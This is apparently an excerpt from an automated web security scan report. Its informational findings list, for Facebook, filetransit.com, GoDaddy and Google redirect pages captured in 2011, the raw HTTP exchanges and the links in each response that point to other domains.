<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yV/r/48SBskNJuXC.css" />
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yp/r/mFutiZvI9yq.css" />

<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js"></script>

<link rel="search" type="application/opensearchdescription+xml" href="http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico" /></head>
...[SNIP]...
<a href="http://www.facebook.com/pages/Kledyde/344540630304" target="_blank"><img class="profileimage img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs236.ash2/50512_344540630304_4849853_q.jpg" alt="Kledy.de" /></a>
...[SNIP]...
<a href="" target="_blank"><img class="img" src="http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001535384242" target="_blank"><img class="img" src="http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif" /><div class="name">
...[SNIP]...
<a target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1325.snc4/161579_100000467074573_7798087_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001984534479" target="_blank"><img class="img" src="http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/elbebe.elbebe" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs712.ash1/161097_1560705907_2385000_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/marytere.medina" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1324.snc4/161503_100001065519057_4434378_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001432693553" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs566.ash1/173261_100001432693553_6400687_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100000761362220" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1342.snc4/161336_100000761362220_4631323_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100002035720154" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs569.ash1/173573_100002035720154_4215882_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001445159058" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs714.ash1/161257_100001445159058_3974301_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/uschi.eller" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs714.ash1/161264_100000049842050_4108649_q.jpg" /><div class="name">
...[SNIP]...
<a class="UIImageBlock_Image UIImageBlock_ICON_Image" target="_blank" href="http://developers.facebook.com/plugins/?footer=1" tabindex="-1"><img class="img" src="http://static.ak.fbcdn.net/rsrc.php/yH/r/eIpbnVKI9lR.png" width="14" height="14" /></a>
...[SNIP]...

20.185. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?id=344540630304&width=240&connections=10&stream=false&header=false&height=255

The response contains the following links to other domains:

http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml
http://b.static.ak.fbcdn.net/rsrc.php/yV/r/48SBskNJuXC.css
http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif
http://b.static.ak.fbcdn.net/rsrc.php/yp/r/mFutiZvI9yq.css
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1325.snc4/161579_100000467074573_7798087_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs171.ash2/41632_1621481330_8539_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs236.ash2/50512_344540630304_4849853_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs355.snc4/41705_1263452277_3193535_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs442.snc4/48814_100001509611884_6558_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs566.ash1/173261_100001432693553_6400687_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs569.ash1/173573_100002035720154_4215882_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs714.ash1/161257_100001445159058_3974301_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs714.ash1/161264_100000049842050_4108649_q.jpg
http://static.ak.fbcdn.net/rsrc.php/yH/r/eIpbnVKI9lR.png
http://static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js
http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico

Request

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-Cnection: close
Date: Sat, 05 Feb 2011 23:07:32 GMT
Content-Length: 12284

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
</title>

<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yV/r/48SBskNJuXC.css" />
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yp/r/mFutiZvI9yq.css" />

<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js"></script>

<link rel="search" type="application/opensearchdescription+xml" href="http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico" /></head>
...[SNIP]...
<a href="http://www.facebook.com/pages/Kledyde/344540630304" target="_blank"><img class="profileimage img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs236.ash2/50512_344540630304_4849853_q.jpg" alt="Kledy.de" /></a>
...[SNIP]...
<a href="" target="_blank"><img class="img" src="http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001432693553" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs566.ash1/173261_100001432693553_6400687_q.jpg" /><div class="name">
...[SNIP]...
<a target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1325.snc4/161579_100000467074573_7798087_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001984534479" target="_blank"><img class="img" src="http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001509611884" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs442.snc4/48814_100001509611884_6558_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001445159058" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs714.ash1/161257_100001445159058_3974301_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100002035720154" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs569.ash1/173573_100002035720154_4215882_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/uschi.eller" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs714.ash1/161264_100000049842050_4108649_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001682180010" target="_blank"><img class="img" src="http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/Craig.Marshall.Deutschland" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs171.ash2/41632_1621481330_8539_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=1263452277" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs355.snc4/41705_1263452277_3193535_q.jpg" /><div class="name">
...[SNIP]...
<a class="UIImageBlock_Image UIImageBlock_ICON_Image" target="_blank" href="http://developers.facebook.com/plugins/?footer=1" tabindex="-1"><img class="img" src="http://static.ak.fbcdn.net/rsrc.php/yH/r/eIpbnVKI9lR.png" width="14" height="14" /></a>
...[SNIP]...

20.186. http://www.filetransit.com/demo.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/demo.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.filetransit.com/demo.php?name=Nslookup

The response contains the following link to another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /demo.php?name=Nslookup HTTP/1.1
Host: www.filetransit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=b798f2d79978526c7191b6da15321c67;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:04:30 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 29777

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title>Nslookup Shareware and Demos - NetStat Agent Portable, NetStat Agent, SpamX ...</title>
<meta http-equiv="Co
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

20.187. http://www.filetransit.com/download.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/download.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.filetransit.com/download.php?id=7601

The response contains the following link to another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /download.php?id=7601 HTTP/1.1
Host: www.filetransit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=b798f2d79978526c7191b6da15321c67;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:04:58 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 26784

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title>Download NSLookup 1.1 Freeware</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

20.188. http://www.filetransit.com/files.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/files.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.filetransit.com/files.php?name=Nslookup

The response contains the following link to another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

20.189. http://www.filetransit.com/freeware.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/freeware.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.filetransit.com/freeware.php?name=Nslookup

The response contains the following link to another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /freeware.php?name=Nslookup HTTP/1.1
Host: www.filetransit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=b798f2d79978526c7191b6da15321c67;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:04:28 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 46671

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title>Nslookup Freeware - NSLookup, DNS Thing, Gnome Workstation Command Center ...</title>
<meta http-equiv="Cont
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

20.190. http://www.filetransit.com/screenshot.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/screenshot.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.filetransit.com/screenshot.php?id=7601

The response contains the following link to another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /screenshot.php?id=7601 HTTP/1.1
Host: www.filetransit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=b798f2d79978526c7191b6da15321c67;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:05:02 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 6289
Connection: close
Content-Type: text/html

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title>NSLookup 1.1 Screenshot</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

20.191. http://www.filetransit.com/view.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/view.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.filetransit.com/view.php?id=78219

The response contains the following link to another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /view.php?id=78219 HTTP/1.1
Host: www.filetransit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=b798f2d79978526c7191b6da15321c67;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:04:02 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 46171

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title>5DFly Photo Design 3.0 - Design over 10 photos by few mouse clicks. Easily create photo book, collage,..
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

20.192. http://www.godaddy.com/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/default.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://www.godaddy.com/default.aspx?isc\u003dvibdom53

The response contains the following links to other domains:

http://img1.wsimg.com/assets/godaddy.ico
http://img1.wsimg.com/fos/btn/1/51538_btn_go.png
http://img1.wsimg.com/fos/btn/1/51538_btn_submit.png
http://img1.wsimg.com/fos/hp/1/ProductDeals/55253_img_co.png
http://img1.wsimg.com/fos/icn/1/57405_icn_co.png
http://img2.wsimg.com/fos/css/1/sales_http_20110128ak.css
http://img2.wsimg.com/pc_css/1/gd_20110115_http.min.css
http://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js
http://img3.wsimg.com/fastball/js_lib/FastballLibrary0005.js?version=1
http://img3.wsimg.com/fos/script/ProductAdvisor5.min.js
http://img3.wsimg.com/fos/script/QuickBuyInsert8.min.js
http://img3.wsimg.com/fos/script/ViewExtensionsInsert7.min.js
http://img3.wsimg.com/fos/script/atlantis_jquery8.min.js
http://img3.wsimg.com/fos/script/jquery.tablesorter.min.js
http://img3.wsimg.com/fos/script/sales13.min.js
http://img3.wsimg.com/pc/js/1/gd_js_20110203.min.js
http://www.bobparsons.me/index.php?id=-1
http://www.godaddycares.com/
http://www.googleadservices.com/pagead/conversion.js
http://www.googleadservices.com/pagead/conversion/1051291126/?label=hbgtCISsuwEQ9tul9QM&guid=ON&script=0
https://email.secureserver.net/
https://email.secureserver.net/login.php

Request

GET /default.aspx?isc\u003dvibdom53 HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=54nqi2mr2lyjuu45gs1m3eim; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:56 GMT; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:56 GMT; path=/
Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:56 GMT; path=/
Set-Cookie: SplitValue1=75; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/default.aspx&server=M1PWCORPWEB130&status=200 OK&querystring=isc%5cu003dvibdom53&shopper=&privatelabelid=1&isc=&clientip=173.193.214.243&referringpath=&referringdomain=&split=75; domain=godaddy.com; path=/
Set-Cookie: GoogleADServicesgoogleadwordshome=echiebrdybgidgbgzbqaldndbhpcuagb; domain=godaddy.com; expires=Fri, 05-Feb-2021 22:05:56 GMT; path=/
Set-Cookie: HPBackground=DanicaImageOne; path=/
Date: Sat, 05 Feb 2011 22:05:56 GMT
Connection: close
Content-Length: 204667

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><link rel="Stylesheet" type="text/css" href="http://img2.wsimg.com/fos/css/1/sales_http_20110128ak.css" /><title>
...[SNIP]...
<meta http-equiv="Pragma" content="no-cache" /><link rel="Stylesheet" type="text/css" href="http://img2.wsimg.com/pc_css/1/gd_20110115_http.min.css" />
<link rel="canonical" href="http://www.godaddy.com/Default.aspx"/>
...[SNIP]...
</style>

<link rel="shortcut icon" href="http://img1.wsimg.com/assets/godaddy.ico" /><meta name="description" content="Register & transfer domains for less. Reliable hosting. Easy-to-use site builders. Affordable SSL certificates. eCommerce solutions. ICANN-accredited." />
...[SNIP]...
<body id="ctl00_PageBody" style="width:100%;margin:0;">

<script src="http://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js" type="text/javascript"></script>
...[SNIP]...


<script type="text/javascript" language="javascript" src="http://img3.wsimg.com/pc/js/1/gd_js_20110203.min.js"></script>
...[SNIP]...
<li title="Bob Parsons Blog" onclick="pcj_lnkPop('http://www.bobparsons.me/index.php?ci=13338&id=-1', '_blank'); return false;"><a href="http://www.bobparsons.me/index.php?id=-1">Bob's Video Blog</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/login.php">
My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/login.php">
My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/login.php">
My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/login.php">
My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/login.php">
My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/login.php">
My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/login.php">
My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/login.php">
My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/login.php">
My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/">
Check My Webmail</a>
...[SNIP]...
<input type="text" id="promoCode" maxlength="20" style="width:350px;" /><img src="http://img1.wsimg.com/fos/btn/1/51538_btn_submit.png" alt="Submit" title="Submit" style="position:relative;top:4px;left:12px;cursor:pointer;" onclick="onSubmitClick();RecordClick(event, '22514', this);" />
</div>
...[SNIP]...
</span> Check out our latest sales and special offers.<img src="http://img1.wsimg.com/fos/btn/1/51538_btn_go.png" style="position:relative;top:4px;left:7px;cursor:pointer;" alt="Go" title="Go" onclick="location.href='offers/hot-deals.aspx?ci=22509'" /></div>
...[SNIP]...
</span> View our HOT Internet-only commercials.
<img src="http://img1.wsimg.com/fos/btn/1/51538_btn_go.png" style="position:relative;top:4px;left:16px;cursor:pointer" alt="Go" title="Go" onclick="location.href='http://videos.godaddy.com/godaddy_media.aspx?ci=43710'" />
</div>
...[SNIP]...
<li title=".CO Domains $29.99"><img src="http://img1.wsimg.com/fos/icn/1/57405_icn_co.png" style="padding-right: 2px;" alt=".CO" title=".CO" />Domains<br />
...[SNIP]...
</ul>

<script src="http://img3.wsimg.com/fos/script/atlantis_jquery8.min.js" type="text/javascript"></script>
...[SNIP]...
</style>

<script src="http://img3.wsimg.com/fos/script/QuickBuyInsert8.min.js" type="text/javascript"></script>
...[SNIP]...
<div id="bottomPod02" style="width:1000px;height:192px;">

<script src="http://img3.wsimg.com/fos/script/ProductAdvisor5.min.js" type="text/javascript"></script>
...[SNIP]...
<div class="PodContainer">

<script src="http://img3.wsimg.com/fos/script/ViewExtensionsInsert7.min.js" type="text/javascript"></script>

<script src="http://img3.wsimg.com/fos/script/jquery.tablesorter.min.js" type="text/javascript"></script>
...[SNIP]...
"cursor:pointer;height:50px;margin:10px 0px 0px 0px;" title=".CO just $29.99" class="tldLinkTwo" onclick="location.href='http://www.godaddy.com/tlds/co-domain.aspx?tld=co&ci=42595'">
<img style="float: left;" alt=".co" title=".CO just $29.99" src="http://img1.wsimg.com/fos/hp/1/ProductDeals/55253_img_co.png" />
<p style="float:left;margin:0px 0px 0px 10px;padding:0px;color:#333;font-size:11px; line-height: 13px;">
...[SNIP]...
</script><script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script><img src="http://www.googleadservices.com/pagead/conversion/1051291126/?label=hbgtCISsuwEQ9tul9QM&guid=ON&script=0" width="1" height="1" style="border-style:none;" />
...[SNIP]...
</b> or cause that you believe Go Daddy should
support, visit <a style="color:blue;text-decoration:underline;font-size:12px;" href="http://www.godaddycares.com" onclick="pcj_win('http://img.godaddy.com/redirect.aspx?ci=42374&target='+encodeURIComponent('http://www.godaddycares.com')); return false;">GoDaddyCares.com</a>
...[SNIP]...
</div>

<script src="http://img3.wsimg.com/fastball/js_lib/FastballLibrary0005.js?version=1" type="text/javascript"></script>

<script src="http://img3.wsimg.com/fos/script/sales13.min.js" type="text/javascript"></script>
...[SNIP]...

20.193. http://www.google.com/url previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/url

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/url?sa=t&source=web&cd=2&ved=0CC8QFjAB&url=http%3A%2F%2Fwww.download32.com%2Fnslookup-software.html&ei=4JxNTcPNMcKB8gbXzO3UDg&usg=AFQjCNF8kNzreuQVj7EsWMHqMgN1gTXk5w

The response contains the following link to another domain:

http://www.download32.com/nslookup-software.html

Request

GET /url?sa=t&source=web&cd=2&ved=0CC8QFjAB&url=http%3A%2F%2Fwww.download32.com%2Fnslookup-software.html&ei=4JxNTcPNMcKB8gbXzO3UDg&usg=AFQjCNF8kNzreuQVj7EsWMHqMgN1gTXk5w HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NID=43=Cig5UOc1wv5sfNglqsyNnFFEHFTegiEsPcNcebZoaufNwyNg_IQMlCYN52J936mT_QhaGnP1ldozomC9pKE6pPObVlBzwrbZzma55sFIQ07o-FXH1wkI_XBsSCK3Q2fY; PREF=ID=11a9f75446a95c33:U=28a8b1ad565a039a:FF=0:TM=1293845297:LM=1296932041:GM=1:S=NDlWCWhRSX8WRFLQ

Response

HTTP/1.1 302 Found
Location: http://www.download32.com/nslookup-software.html
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Sat, 05 Feb 2011 21:47:49 GMT
Server: gws
Content-Length: 245
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.download32.com/nslookup-software.html">here</A>
...[SNIP]...

20.194. http://www.google.com/url previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/url

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/url?sa=t&source=web&cd=5&ved=0CEcQFjAE&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&ei=4JxNTcPNMcKB8gbXzO3UDg&usg=AFQjCNF_NEaF1Kw5PeEgqcvykgogbNZr_w

The response contains the following link to another domain:

http://www.orthougm.com/nslookup.html

Request

GET /url?sa=t&source=web&cd=5&ved=0CEcQFjAE&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&ei=4JxNTcPNMcKB8gbXzO3UDg&usg=AFQjCNF_NEaF1Kw5PeEgqcvykgogbNZr_w HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NID=43=Cig5UOc1wv5sfNglqsyNnFFEHFTegiEsPcNcebZoaufNwyNg_IQMlCYN52J936mT_QhaGnP1ldozomC9pKE6pPObVlBzwrbZzma55sFIQ07o-FXH1wkI_XBsSCK3Q2fY; PREF=ID=11a9f75446a95c33:U=28a8b1ad565a039a:FF=0:TM=1293845297:LM=1296932041:GM=1:S=NDlWCWhRSX8WRFLQ

Response

HTTP/1.1 302 Found
Location: http://www.orthougm.com/nslookup.html
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Sat, 05 Feb 2011 21:47:54 GMT
Server: gws
Content-Length: 234
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.orthougm.com/nslookup.html">here</A>
...[SNIP]...

20.195. http://www.google.com/url previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/url

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/url?sa=t&source=web&cd=7&ved=0CFcQFjAG&url=http%3A%2F%2Fwww.csc.gatech.edu%2F~copeland%2F6612%2Ftool-links.html&ei=4JxNTcPNMcKB8gbXzO3UDg&usg=AFQjCNFgh6vQo5WZuNc5Pc4MmMvFneKdIg

The response contains the following link to another domain:

http://www.csc.gatech.edu/~copeland/6612/tool-links.html

Request

